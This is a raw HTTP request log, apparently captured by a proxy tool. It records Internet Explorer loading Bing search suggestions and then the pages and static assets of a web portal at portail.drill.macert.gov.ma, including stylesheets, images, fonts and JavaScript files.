Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit.p&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit.p&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmit&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://api.bing.com/qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmi&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR
GET /qsml.aspx?query=http%3A%2F%2Fportail.drill.macert.gov.ma%2Fnewportail%2Fsubmi&maxwidth=32765&rowheight=20&sectionHeight=160&FORM=IESS02&market=fr-FR HTTP/1.1
Accept: */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=28731E29FF0F6863099712B3FEB8697C; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2

http://portail.drill.macert.gov.ma/newportail/
GET /newportail/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/bootstrap/css/bootstrap.min.css
GET /newportail/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "22688-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/css/all.min.css
GET /newportail/vendor/fontawesome-free/css/all.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "be09-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/css/agency.min.css
GET /newportail/css/agency.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "33aa-576eb4e650f55"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/01-thumbnail.jpg
GET /newportail/img/portfolio/01-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "4198-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/02-thumbnail.jpg
GET /newportail/img/portfolio/02-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "404b-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/03-thumbnail.jpg
GET /newportail/img/portfolio/03-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "40dc-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/04-thumbnail.jpg
GET /newportail/img/portfolio/04-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "40b1-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/05-thumbnail.jpg
GET /newportail/img/portfolio/05-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "5ed1-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/06-thumbnail.jpg
GET /newportail/img/portfolio/06-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "3529-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/1.jpg
GET /newportail/img/about/1.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "1b4b-576eb4e650f55"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/2.jpg
GET /newportail/img/about/2.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "3be9-576eb4e650f55"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/3.jpg
GET /newportail/img/about/3.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "1caa-576eb4e650f55"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/about/4.jpg
GET /newportail/img/about/4.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "1326-576eb4e650f55"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/1.jpg
GET /newportail/img/team/1.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "345c4-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/2.jpg
GET /newportail/img/team/2.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "34d88-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/team/3.jpg
GET /newportail/img/team/3.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "372f5-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/designmodo.jpg
GET /newportail/img/logos/designmodo.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "6a0-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/themeforest.jpg
GET /newportail/img/logos/themeforest.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "699-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/envato.jpg
GET /newportail/img/logos/envato.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "7f8-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/logos/creative-market.jpg
GET /newportail/img/logos/creative-market.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "6e6-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/01-full.jpg
GET /newportail/img/portfolio/01-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "ce70-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/02-full.jpg
GET /newportail/img/portfolio/02-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "7cca-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-regular-400.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-regular-400.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "9e80-576eb4e662896"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-solid-900.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-solid-900.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "2c1f0-576eb4e662896"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/webfonts/fa-brands-400.eot?
GET /newportail/vendor/fontawesome-free/webfonts/fa-brands-400.eot? HTTP/1.1
Accept: */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: http://portail.drill.macert.gov.ma
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "1cf20-576eb4e662896"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/header-bg.jpg
GET /newportail/img/header-bg.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 03 Oct 2018 09:03:17 GMT
If-None-Match: "1ea0b-5774f4f1df167"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/map-image.png
GET /newportail/img/map-image.png HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "58e06-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/jquery/jquery.min.js
GET /newportail/vendor/jquery/jquery.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "1538f-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/bootstrap/js/bootstrap.bundle.min.js
GET /newportail/vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "11536-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/jquery-easing/jquery.easing.min.js
GET /newportail/vendor/jquery-easing/jquery.easing.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "9e4-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/jqBootstrapValidation.js
GET /newportail/js/jqBootstrapValidation.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "9135-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/contact_me.js
GET /newportail/js/contact_me.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Mon, 01 Oct 2018 11:48:30 GMT
If-None-Match: "aee-5772962554141"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/js/agency.min.js
GET /newportail/js/agency.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "43e-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/03-full.jpg
GET /newportail/img/portfolio/03-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "cec1-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/04-full.jpg
GET /newportail/img/portfolio/04-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "a11f-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/05-full.jpg
GET /newportail/img/portfolio/05-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "19779-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/06-full.jpg
GET /newportail/img/portfolio/06-full.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Fri, 28 Sep 2018 09:44:48 GMT
If-None-Match: "91b0-576eb4e652e95"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/
GET /newportail/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://portail.drill.macert.gov.ma/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Thu, 01 Nov 2018 10:46:18 GMT
If-None-Match: "78e2-5799820f81231-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/bootstrap/css/bootstrap.min.css
GET /newportail/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "22688-579876a9a01b2-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/vendor/fontawesome-free/css/all.min.css
GET /newportail/vendor/fontawesome-free/css/all.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "be09-579876a9a1152-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/css/agency.min.css
GET /newportail/css/agency.min.css HTTP/1.1
Accept: text/css, */*
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: portail.drill.macert.gov.ma
If-Modified-Since: Wed, 31 Oct 2018 14:49:59 GMT
If-None-Match: "33aa-579876a99f212-gzip"
DNT: 1
Connection: Keep-Alive

http://portail.drill.macert.gov.ma/newportail/img/portfolio/01-thumbnail.jpg
GET /newportail/img/portfolio/01-thumbnail.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://portail.drill.macert.gov.ma/newportail/
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
